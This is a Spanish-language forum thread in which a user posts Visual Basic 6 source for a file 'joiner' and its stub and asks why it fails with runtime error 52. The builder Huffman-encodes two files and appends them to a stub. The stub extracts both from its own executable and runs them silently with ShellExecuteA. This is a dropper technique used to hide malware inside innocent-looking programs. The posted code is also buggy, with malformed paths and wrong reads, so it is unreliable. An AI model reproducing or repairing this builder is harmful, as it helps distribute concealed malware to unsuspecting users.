Joiner simple(en que fallo??)

Iniciado por Jareth, 17 Noviembre 2006, 21:59 PM

0 Miembros y 1 Visitante están viendo este tema.

Jareth

Hola,estoy un poco desesperado,estoy haciendo un joiner y no me va,asique pongo el code,a ver si vesi algun error:Private Sub Command1_Click()
cd.ShowOpen
Text1.Text = cd.FileName

End Sub
Private Sub Command2_Click()
cd.ShowOpen
Text2.Text = cd.FileName

End Sub

Private Sub Command3_Click()
Dim tamaño As String
Dim total As String * 9
Dim encriptacion As String
Dim extension1 As String * 4
Dim extension2 As String * 4
Dim tamaño2 As String
Dim total2 As String * 9


Dim encriptacion2 As String
Dim ruta As String
cd.ShowSave
ruta = cd.FileName
FileCopy App.Path & "\hen.dll", ruta
Open Text1.Text For Binary As #1
tamaño = LOF(1)
Get #1, , tamaño
Close #1
tamaño = HuffmanEncode(tamaño, True)
total = Len(tamaño)
Open Text2.Text For Binary As #1
tamaño2 = Space(LOF(1))
Get #1, , tamaño2
Close #1
tamaño2 = HuffmanEncode(tamaño2, True)
total2 = Len(tamaño2)


extension1 = Right$(Text1.Text, 3)
extension2 = Right$(Text2.Text, 3)



Open ruta For Binary As #1
Seek (1), LOF(1) + 1
Put #1, , tamaño
Put #1, , tamaño2
Put #1, , total
Put #1, , total2
Put #1, , extension1
Put #1, , extension2
Close #1
MsgBox "Archivos juntados!", , "Trébol Joiner v.1"
End Sub

Private Sub CommandXP1_Click()

End Sub

Private Sub CommandXP4_Click()
formjoin.Hide
Form1.Show
End Sub



End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
STUBB:

Private Declare Function ShellExecuteA Lib "SHELL32.DLL" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long





Private Sub Form_Load()

Dim total As String * 9
Dim total2 As String * 9
Dim a2 As Long
Dim b2 As Long
Dim extension1 As String * 4
Dim extension2 As String * 4
Dim archivo1 As String
Dim archivo2 As String

Dim tamaño As String
Dim tamaño2 As String
Dim desn1 As String
Dim desn2 As String
Dim ruta As String

ruta = App.Path & "\" & App.EXEName & ".exe"
Open ruta For Binary As #1
Seek (1), LOF(1) - 25
Get #1, , total
Get #1, , total2
Get #1, , extension1
Get #1, , extension2
Close #1
archivo1 = Trim(extension1)
archivo2 = Trim(extension2)
a2 = Trim(total)
b2 = Trim(total2)
tamaño = Space(total)
tamaño2 = Space(total2)



Open ruta For Binary As #1
Seek (1), LOF(1) - (a2 + b2 + 25)
Get #1, , tamaño
Get #1, , tamaño2
Close #1

desn1 = HuffmanDecode(tamaño)
desn2 = HuffmanDecode(tamaño2)
Open ruta & "c:\uno" & "." & extension1 For Binary As #1
Put #1, , desn1
Close #1
Open ruta & "c:\dos" & "." & extension2 For Binary As #1
Put #1, , desn2
Close #1
ShellExecuteA Me.hWnd, "Open", ruta & "\uno" & "." & extension1, vbNullString, vbNullString, 1 ' Y ahora los ejekutamos...
ShellExecuteA Me.hWnd, "Open", ruta & "\dos" & "." & extension2, vbNullString, vbNullString, 1

End
End Sub







Gracias y saludos.

Hendrix

resonmbra el stubb (server) a hen.dll...

Salu2

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián

Jareth

El stubb lo tengo renombrado a hen.dll,lo tengo en la misma carpeta que el joiner,y sigue sin funcionar,el stubb le doy generar hen.dll,me la genera y la pongo donde el joiner.Y no va.
Gracias y saludos.

Hendrix

Pues no se, escribi un manual donde explika komo crear un joiner desde 0...

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián

Jareth

Si,si lo hice casi todo con ayuda de tu manual,pero no sé en que fallo,a ti te da error?
Gracias y saludos.

Hendrix

Nops, a mi no me daba error, el kodigo es el mismo que en el del Astaroth Joiner 3

Salu2

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián

Jareth

A mi se me compila perfectamente,pero cuando junto los archivos,se guarda pero al ejecutar el archivo me da error,error '52',es algo extraño.

Jareth

#7
Yo lo que hago es generar el stubb a hen.dll,lo tengo en la misma carpeta que el joiner,cuando ejecute el joiner deberia funcionar,no?O hay que hacer algo con la dll,yo diria que solo con dejarla en la misma carpeta,ejecutas el joiner y todo funcionaria,no?
Porque el code no tiene fallos,no?
Gracias y saludos.
PD:Me da error '52' en tiempo de ejecucion.